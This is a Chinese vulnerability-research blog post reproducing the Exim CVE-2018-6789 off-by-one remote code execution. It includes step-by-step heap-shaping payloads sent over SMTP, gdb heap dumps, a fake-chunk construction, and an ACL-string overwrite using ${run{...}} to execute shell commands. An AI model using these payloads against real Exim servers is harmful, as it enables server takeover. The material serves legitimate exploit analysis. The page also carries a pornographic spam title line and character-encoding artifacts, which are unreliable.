亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

Exim Off-by-one(CVE-2018-6789)漏洞復(fù)現(xiàn)分析

作者:Hcamael@知道創(chuàng)宇404實(shí)驗(yàn)室

前段時間meh又挖了一個Exim的RCE漏洞,而且這次RCE的漏洞的約束更少了,就算開啟了PIE仍然能被利用。雖然去年我研究過Exim,但是時間過去這么久了,所以這次復(fù)現(xiàn)還是花了大量時間在熟悉Exim源碼上。

本次漏洞復(fù)現(xiàn)的過程中,踩了好多坑,實(shí)際復(fù)現(xiàn)的過程中發(fā)現(xiàn)堆塊的實(shí)際情況無法像meh所說的那樣的構(gòu)造,所以在這部分卡了很久(猜測是因?yàn)榄h(huán)境不同的原因),之后決定先理解meh利用的大致思路,然后自己根據(jù)實(shí)際情況對堆塊進(jìn)行構(gòu)造,雖然過程艱難,但最終基本算是成功了。

復(fù)現(xiàn)環(huán)境搭建

本次使用的環(huán)境和上次大致相同, 首先去github上該漏洞的patch commit

然后把分支切換到上一個commit

$ git clone https://github.com/Exim/exim.git
$ git checkout 38e3d2dff7982736f1e6833e06d4aab4652f337a
$ cd src
$ mkdir Local

Makefile仍然使用上次那個:

$ cat Local/makefile | grep -v "#"
BIN_DIRECTORY=/usr/exim/bin
CONFIGURE_FILE=/usr/exim/configure
EXIM_USER=ubuntu
SPOOL_DIRECTORY=/var/spool/exim
ROUTER_ACCEPT=yes
ROUTER_DNSLOOKUP=yes
ROUTER_IPLITERAL=yes
ROUTER_MANUALROUTE=yes
ROUTER_QUERYPROGRAM=yes
ROUTER_REDIRECT=yes
TRANSPORT_APPENDFILE=yes
TRANSPORT_AUTOREPLY=yes
TRANSPORT_PIPE=yes
TRANSPORT_SMTP=yes
LOOKUP_DBM=yes
LOOKUP_LSEARCH=yes
LOOKUP_DNSDB=yes
PCRE_CONFIG=yes
FIXED_NEVER_USERS=root
AUTH_CRAM_MD5=yes
AUTH_PLAINTEXT=yes
AUTH_TLS=yes
HEADERS_CHARSET="ISO-8859-1"
SUPPORT_TLS=yes
TLS_LIBS=-lssl -lcrypto
SYSLOG_LOG_PID=yes
EXICYCLOG_MAX=10
COMPRESS_COMMAND=/usr/bin/gzip
COMPRESS_SUFFIX=gz
ZCAT_COMMAND=/usr/bin/zcat
SYSTEM_ALIASES_FILE=/etc/aliases
EXIM_TMPDIR="/tmp"

然后就是編譯安裝了:

$ make -j8
$ sudo make install

啟動也是跟上次一樣,但是這里有一個坑點(diǎn),開啟debug,輸出所有debug信息,不開debug,這些都堆的布局都會有影響。不過雖然有影響,但是只是影響構(gòu)造的細(xì)節(jié),總體的構(gòu)造思路還是按照meh寫的paper中那樣。

本篇的復(fù)現(xiàn),都是基于只輸出部分debug信息的模式:

$ /usr/exim/bin/exim -bdf -dd
# 輸出完整debug信息使用的是-bdf -d+all
# 不開啟debug模式使用的是-bdf

漏洞復(fù)現(xiàn)

因?yàn)槲矣X得meh的文章中,漏洞原理和相關(guān)函數(shù)的說明已經(jīng)很詳細(xì),我也沒啥要補(bǔ)充的,所以直接寫我的復(fù)現(xiàn)過程

STEP 1

首先需要構(gòu)造一個被釋放的chunk,但是沒必要像meh文章說的是一個0x6060大小的chunk,只需要滿足幾個條件:

 

這個chunk要被分為三個部分,一個部分是通過store_get獲取,用來存放base64解碼的數(shù)據(jù),用來造成off by one漏洞,覆蓋下一個chunk的size,因?yàn)橥ㄟ^store_get獲取的chunk最小值是0x2000,然后0x10的堆頭和0x10的exim自己實(shí)現(xiàn)的堆頭,所以是一個至少0x2020的堆塊。

第二部分用來放sender_host_name,因?yàn)樵撟兞康膬?nèi)存是通過store_malloc獲取的,所以沒有大小限制

第三部分因?yàn)樾枰獦?gòu)造一個fake chunk用來過free的檢查,所以也是一個至少0x2020的堆塊

和meh的方法不同,我通過unrecognized command來獲取一個0x4041的堆塊,然后通過EHLO來釋放:

p.sendline("\x7f"*4102)
p.sendline("EHLO %s"%("c"*(0x2010)))
# heap
0x1d15180 PREV_INUSE {
  prev_size = 0x0,
  size = 0x4041,
  fd = 0x7f9520917b78,
  bk = 0x1d1b1e0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x1d191c0 {
  prev_size = 0x4040,
  size = 0x2020,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}

0x1d15180是通過unrecognized command獲取的一個0x4040大小的chunk,在執(zhí)行完EHLO命令后被釋放, 然后0x1d191c0是inuse的sender_host_name,這兩部分就構(gòu)成一個0x6060的chunk

STEP 2

現(xiàn)在的情況是sender_host_name位于0x6060大小chunk的最底部,而我們需要把它移到中間

這部分的思路和meh的一樣,首先通過unrecognized command占用頂部0x2020的chunk

之前的文章分析過,unrecognized command申請內(nèi)存的大小是ss = store_get(length + nonprintcount * 3 + 1);

通過計(jì)算,只需要讓length + nonprintcount * 3 + 1 > yield_lengthstore_get函數(shù)就會從malloc中申請一個chunk

p.sendline("\x7f"*0x800)

這個時候我們就能使用EHLO釋放之前的sender_host_name,然后重新設(shè)置,讓sender_host_name位于0x6060大小chunk的中部

p.sendline("EHLO %s"%("c"*(0x2000-9)))
# heap
0x1d15180 PREV_INUSE {
  prev_size = 0x0,
  size = 0x2021,
  fd = 0x7f9520917b78,
  bk = 0x1d191a0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x1d171a0 {
  prev_size = 0x2020,
  size = 0x2000,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}
0x1d191a0 PREV_INUSE {
  prev_size = 0x63636363636363,
  size = 0x6061,
  fd = 0x1d15180,
  bk = 0x7f9520917b78,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x1d1f200 {
  prev_size = 0x6060,
  size = 0x2020,
  fd = 0x1d27380,
  bk = 0x2008,
  fd_nextsize = 0x6363636363636328,
  bk_nextsize = 0x6363636363636363
}

STEP 3

現(xiàn)在我們的堆布局是:

  • 第一塊未被使用的0x2020大小的chunk
  • 第二塊正在被使用0x2000大小的sender_host_name
  • 第三塊未被使用,并且和之后堆塊合并, 0x6060大小的chunk

我們現(xiàn)在再回過頭來想想各個chunk的size的設(shè)置的問題

CHUNK 1

第一個chunk是用來觸發(fā)off by one漏洞,用來修改第二個CHUNK的size位,只能溢出1byte

store_get最小分配一個0x2020的chunk,能儲存0x2000的數(shù)據(jù)

這就導(dǎo)致了,如果按照store_get的最小情況來,只能溢出覆蓋掉第二個chunk的pre_size位

然后因?yàn)?code>(0x2008-1)%3==0,所以我們能通過b64decode函數(shù)的漏洞申請一個能儲存0x2008的數(shù)據(jù),size=0x2020的chunk,然后溢出一個字節(jié)到下一個chunk的size位

CHUNK2

第二塊chunk,我們首先需要考慮,因?yàn)橹荒苄薷囊粋€字節(jié),所以最大只能從0x00擴(kuò)展到0xf0

其次,我們假設(shè)第二塊chunk的原始size=0x2021,然后被修改成0x20f1,我們還需要考慮第二塊chunk+0x20f1位置的堆塊我們是否可控,因?yàn)樾枰獋卧煲粋€fake chunk,來bypass free函數(shù)的安全檢查。

經(jīng)過多次調(diào)試,發(fā)現(xiàn)當(dāng)?shù)诙Kchunk的size=0x2001時,更方便后續(xù)的利用

CHUNK3

第三個chunk只要求大于一個store_get申請的最小size(0x2020)就行了

STEP 4

根據(jù)第三步敘述的,我們來觸發(fā)off by one漏洞

payload1 = "HfHf"*0xaae
p.sendline("AUTH CRAM-MD5")
p.sendline(payload1[:-1])
# heap
0x1d15180 PREV_INUSE {
  prev_size = 0x0,
  size = 0x2021,
  fd = 0x1d191b0,
  bk = 0x2008,
  fd_nextsize = 0xf11ddff11ddff11d,
  bk_nextsize = 0x1ddff11ddff11ddf
}
0x1d171a0 PREV_INUSE {
  prev_size = 0x1ddff11ddff11ddf,
  size = 0x20f1,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}
0x1d19290 PREV_INUSE IS_MMAPED {
  prev_size = 0x6363636363636363,
  size = 0x6363636363636363,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}

并且構(gòu)造在第三塊chunk中構(gòu)造一個fake chunk

payload = p64(0x20f0)+p64(0x1f31)
p.sendline("AUTH CRAM-MD5")
p.sendline((payload*484).encode("base64").replace("\n",""))
# heap
0x1d15180 PREV_INUSE {
  prev_size = 0x0,
  size = 0x2021,
  fd = 0x1d191b0,
  bk = 0x2008,
  fd_nextsize = 0xf11ddff11ddff11d,
  bk_nextsize = 0x1ddff11ddff11ddf
}
0x1d171a0 PREV_INUSE {
  prev_size = 0x1ddff11ddff11ddf,
  size = 0x20f1,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}
0x1d19290 PREV_INUSE {
  prev_size = 0xf0,
  size = 0x1f31,
  fd = 0x20f0,
  bk = 0x1f31,
  fd_nextsize = 0x20f0,
  bk_nextsize = 0x1f31
}
0x1d1b1c0 PREV_INUSE {
  prev_size = 0x2020,
  size = 0x4041,
  fd = 0x7f9520918288,
  bk = 0x7f9520918288,
  fd_nextsize = 0x1d1b1c0,
  bk_nextsize = 0x1d1b1c0
}

STEP 5

下一步跟meh一樣,通過釋放sender_host_name,把一個原本0x2000的chunk擴(kuò)展成0x20f0, 但是卻不觸發(fā)smtp_reset

p.sendline("EHLO a+")
# heap
0x1d171a0 PREV_INUSE {
  prev_size = 0x1ddff11ddff11ddf,
  size = 0x20f1,
  fd = 0x1d21240,
  bk = 0x7f9520917b78,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x1d19290 {
  prev_size = 0x20f0,
  size = 0x1f30,
  fd = 0x20f0,
  bk = 0x1f31,
  fd_nextsize = 0x20f0,
  bk_nextsize = 0x1f31
}

STEP 6

meh提供了一種不需要泄露地址就能RCE的思路

exim有一個expand_string函數(shù),當(dāng)其處理的參數(shù)中有${run{xxxxx}}, xxxx則會被當(dāng)成shell命令執(zhí)行

acl_check函數(shù)中會對各個命令的配置進(jìn)行檢查,然后把配置信息的字符串調(diào)用expand_string函數(shù)

我復(fù)現(xiàn)環(huán)境的配置信息如下:

pwndbg> x/18gx &acl_smtp_vrfy
0x6ed848 <acl_smtp_vrfy>:   0x0000000000000000  0x0000000000000000
0x6ed858 <acl_smtp_rcpt>:   0x0000000001cedac0  0x0000000000000000
0x6ed868 <acl_smtp_predata>:    0x0000000000000000  0x0000000000000000
0x6ed878 <acl_smtp_mailauth>:   0x0000000000000000  0x0000000000000000
0x6ed888 <acl_smtp_helo>:   0x0000000000000000  0x0000000000000000
0x6ed898 <acl_smtp_etrn>:   0x0000000000000000  0x0000000000000000
0x6ed8a8 <acl_smtp_data>:   0x0000000001cedad0  0x0000000000000000
0x6ed8b8 <acl_smtp_auth>:   0x0000000001cedae0  0x0000000000000000

所以我有rcpt, data, auth這三個命令可以利用

比如0x0000000001cedae0地址當(dāng)前的內(nèi)容是:

pwndbg> x/s 0x0000000001cedae0
0x1cedae0:  "acl_check_auth"

當(dāng)我把該字符串修改為${run{/usr/bin/touch /tmp/pwned}}

則當(dāng)我向服務(wù)器發(fā)送AUTH命令時,exim將會執(zhí)行/usr/bin/touch /tmp/pwned

所以之后就是meh所說的利用鏈:

修改storeblock的next指針為儲存acl_check_xxxx字符串的堆塊地址 -> 調(diào)用smtp_reset -> 儲存acl_check_xxxx字符串的堆塊被釋放丟入unsortedbin -> 申請堆塊,當(dāng)堆塊的地址為儲存acl_check_xxxx字符串的堆塊時,我們可以覆蓋該字符串為命令執(zhí)行的字符串 -> RCE

STEP 7

根據(jù)上一步所說,我們首先需要修改next指針,第二塊chunk的原始大小是0x2000,被修改后新的大小是0x20f0,下一個storeblock的地址為第二塊chunk+0x2000,next指針地址為第二塊chunk+0x2010

所以我們申請一個0x2020的chunk,就能夠覆蓋next指針:

p.sendline("AUTH CRAM-MD5")
p.sendline(base64.b64encode(payload*501+p64(0x2021)+p64(0x2021)+p32(address)))

這里有一個問題

第二個chunk在AUTH CRAM-MD5命令執(zhí)行時就被分配了,所以b64decode的內(nèi)存是從next_yield獲取的

這樣就導(dǎo)致一個問題,我們能通過之前的構(gòu)造來控制在執(zhí)行b64decodeyield_length的大小,最開始我的一個思路就是,仍然利用off by one漏洞來修改next,這也是我理解的meh所說的partial write

但是實(shí)際情況讓我這個思路失敗了

pwndbg> x/16gx 0x1d171a0+0x2000
0x1d191a0:  0x0063636363636363  0x0000000000002021
0x1d191b0:  0x0000000001d171b0  0x0000000000002000

當(dāng)前的next指針的值為0x1d171b0,如果利用我的思路是可以修改1-2字節(jié),然而儲存acl_check_xxx字符的堆塊地址為0x1ced980

我們需要修改3字節(jié),所以這個思路行不通

所以又有了另一個思路,因?yàn)閑xim是通過fork起子進(jìn)程來處理每個socket連接的,所以我們可以爆破堆的基地址,只需要爆破2byte

STEP 8

在解決地址的問題后,就是對堆進(jìn)行填充,然后修改相關(guān)acl_check_xxx指向的字符串

然后附上利用截圖:

總結(jié)

坑踩的挺多,尤其是在糾結(jié)meh所說的partial write,之后在github上看到別人公布的exp[3],同樣也是使用爆破的方法,所以可能我對partial write的理解有問題吧

另外,通過與github上的exp進(jìn)行對比,發(fā)現(xiàn)不同版本的exim,acl_check_xxx的堆偏移也有差別,所以如果需要RCE exim,需要滿足下面的條件:

  1. 包含漏洞的版本(小于等于commit 38e3d2dff7982736f1e6833e06d4aab4652f337a的版本)
  2. 開啟CRAM-MD5認(rèn)證,或者其他有調(diào)用b64decode函數(shù)的認(rèn)證
  3. 需要有該exim的binary來計(jì)算堆偏移
  4. 需要知道exim的啟動參數(shù)

參考

  1. https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
  2. https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1
  3. https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

上一篇:如何防止密碼信息被泄露?

下一篇:深入探索Cobalt Strike的ExternalC2框架